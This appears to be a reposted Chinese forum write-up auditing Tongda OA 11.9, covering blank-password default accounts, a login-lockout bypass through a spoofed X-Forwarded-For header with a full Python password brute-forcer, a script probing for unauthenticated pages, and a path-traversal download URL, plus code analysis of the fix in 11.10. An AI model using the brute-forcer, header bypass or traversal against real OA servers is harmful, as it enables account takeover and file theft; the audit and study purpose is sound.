某OA系统审计小记

打印 上一主题 下一主题

主题 967|帖子 967|积分 2901

通达oa 作为攻防演练中出场率较高的一套 OA 系统,决定先从历史漏洞开始挖掘分析,对通达oa 有一个初步的了解。
通达oa 11.9 的下载地址 ,默认安装地址是 D:\MYOA ,联网状态下会自动更新到通达 oa 11.10
安装成功后,登录界面如下 默认账号为 admin 对应密码为空。
[img=720,320.9094472755782]https://www.hetianlab.com/headImg.action?news=f60616b1-b1b6-41bc-a8a7-80212b242ece.png[/img]
登录后我们看到其中还有一些默认账号 lijia wangyun wangde 均可利用空密码登录成功
[img=720,223.15457413249212]https://www.hetianlab.com/headImg.action?news=9b206d37-9d2d-482f-8378-460ac5be8f84.png[/img]
  
爆破密码

正常输入账号名密码时,输入三次错误就会禁止10分钟
[img=720,349.32614555256066]https://www.hetianlab.com/headImg.action?news=17fddc86-5bb3-4a72-bdbb-286ca89d95c9.png[/img]
 
[img=720,350.1303370786517]https://www.hetianlab.com/headImg.action?news=3e2bc8e4-7c14-45ba-8ba9-40b0c60e6c20.png[/img]
我们可以通过代码方面追究其原因
webroot/inc/td_core.php
[img=720,252.27327207351178]https://www.hetianlab.com/headImg.action?news=f39e2301-6685-4b11-a073-0ff0fc45e44d.png[/img]
$USER_IP 的值可以来自于 X-Forwarded-For
写个 python 脚本用于爆破用户名密码
[img=720,144.9624060150376]https://www.hetianlab.com/headImg.action?news=91eeb837-d0fa-40de-8c24-67d595d42778.png[/img]
  1. import requests
  2. import sys
  3. import re
  4. def read_passwd(passwordfile):
  5.     with open(file = passwordfile, mode='r') as f:
  6.         passwd = f.read().splitlines()
  7.         return passwd
  8. def Intruder_password(url,username,passwd_list):
  9.     success_str ="正在进入OA系统,请稍候..."
  10.     a=b=c=d=0
  11.     url = url +"/logincheck.php"
  12.     for passwd in passwd_list:
  13.         payload = "UNAME={}&PASSWORD={}&encode_type=1".format(username,passwd)
  14.         headers = { "X-Forwarded-For": "{}.{}.{}.{}".format(a,b,c,d),"Content-Type": "application/x-www-form-urlencoded"}
  15.         response = requests.request("POST", url, data=payload, headers=headers)
  16.         if(re.search(success_str, response.text)):
  17.             print("正确的账号名:{}密码:{}".format(username,passwd))
  18.         else:
  19.             print("错误密码:{}".format(passwd))
  20.         d=d+1
  21.         if(d == 255):
  22.             c = c +1
  23.             d = 0
  24.         if(c == 255):
  25.             b = b +1
  26.             c = 0
  27.         if(b == 255):
  28.             a = a +1
  29.             b =0
  30. def main():
  31.     if len(sys.argv) < 4:
  32.         print("Usage: Intruder_password.py  targeturl username passwdfile\n"
  33.               "Example: python Intruder_password.py http://10.0.18.1:80 admin passwd.txt")
  34.         exit()
  35.     url = sys.argv[1]
  36.     username = sys.argv[2]
  37.     passwd_list = read_passwd(sys.argv[3])
  38.     Intruder_password(url,username,passwd_list)
  39. if __name__ == '__main__':
  40.     main()
复制代码
【----帮助网安学习,以下所有学习资料免费领!加vx:yj009991,备注 “博客园” 获取!】
 ① 网安学习成长路径思维导图
 ② 60+网安经典常用工具包
 ③ 100+SRC漏洞分析报告
 ④ 150+网安攻防实战技术电子书
 ⑤ 最权威CISSP 认证考试指南+题库
 ⑥ 超1800页CTF实战技巧手册
 ⑦ 最新网安大厂面试题合集(含答案)
 ⑧ APP客户端安全检测指南(安卓+IOS)
未授权敏感信息泄露

一般我们想要寻找一些高危的漏洞,就是需要寻找一些未授权漏洞,就是在未登录状态下也可以执行授权后的相关功能,编写了一个简单的脚本,先判断哪一些网页是可以在未授权的情况下进行访问到,然后再做进一步的分析
  1. import os
  2. import sys
  3. import requests
  4. def file_path(url,filefolder):
  5.     for root, dirs, files in os.walk(filefolder):
  6.         for f in files:
  7.             paths = os.path.join(root,f)
  8.             paths = paths.replace(filefolder,url)
  9.             paths = paths.replace("\","/")
  10.             #print(paths)
  11.             if(f.endswith(".php")):
  12.                 response = requests.get(paths)
  13.                 # print(str(response.status_code)+" "+str(len(response.text))+"  "+paths)
  14.                 print("code:"+ str(response.status_code) +" len:"+ str(len(response.text))+" url: "+ paths )
  15. def main():
  16.     if len(sys.argv) < 3:
  17.         print("Usage: file_path.py targeturl filefolder\n"
  18.               "Example: python file_path.py http://10.0.18.1:80 "C:\\Users\\admin\\Desktop\\MYOA\\webroot"")
  19.         exit()
  20.     url = sys.argv[1]
  21.     filefolder = sys.argv[2]
  22.     file_path(url,filefolder)
  23. if __name__ == '__main__':
  24.     main()
复制代码
http://10.0.18.1/inc/reg.php 泄露版本信息
[img=720,238.8732394366197]https://www.hetianlab.com/headImg.action?news=4549d25c-6a43-4ded-93f2-83686830154e.png[/img]
还有很多可以未授权显示的页面,不一一展示了
未授权文件下载

通过不断测试,也找到了一个比较有价值的漏洞,就是未授权文件下载
构造链接
 http://10.0.18.1/inc/package/down.php?id=/../../../../../../../../../a
[img=720,140.35613870665418]https://www.hetianlab.com/headImg.action?news=9119ea25-9a2a-4ebb-8575-e7da306135b6.png[/img]
就可以下载到根目录下的 a.zip 文件
[img=720,337.7049180327869]https://www.hetianlab.com/headImg.action?news=27a0d0ed-f1d5-4a21-b4f6-30b747221cba.png[/img]
我们从代码层面分析一下漏洞的成因
webroot/inc/package/down.php
[img=720,339.0163934426229]https://www.hetianlab.com/headImg.action?news=98b896f5-242a-4440-9bc5-7f9c164d7bd0.png[/img]
我们看到通过 GET 方法获取到 id 值,拼接到 $FILE_PATH 中,并没有做任何过滤,传到函数 td_download 中
webroot/inc/utility_file.php
[img=720,383.4842670759785]https://www.hetianlab.com/headImg.action?news=045a9361-f4fb-4684-b184-20572ed15fb8.png[/img]
如此便实现了任意文件下载,这是在版本 11.09 中 存在的漏洞,在自动更新到 11.10 后 漏洞便被修复了,我们查看一下代码
webroot/inc/package/down.php 
我们看到对传入的参数进行了过滤,无法再跨越目录的进行下载
[img=720,303.2346980137819]https://www.hetianlab.com/headImg.action?news=01e2005e-ea70-44d3-97bc-cc1091155e34.png[/img]
 
靶场实验练习推荐:
代码审计利器-RIPS实践(合天网安实验室)
搜索
复制

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!
回复

使用道具 举报

0 个回复

倒序浏览

快速回复

您需要登录后才可以回帖 登录 or 立即注册

本版积分规则

魏晓东

金牌会员
这个人很懒什么都没写!
快速回复 返回顶部 返回列表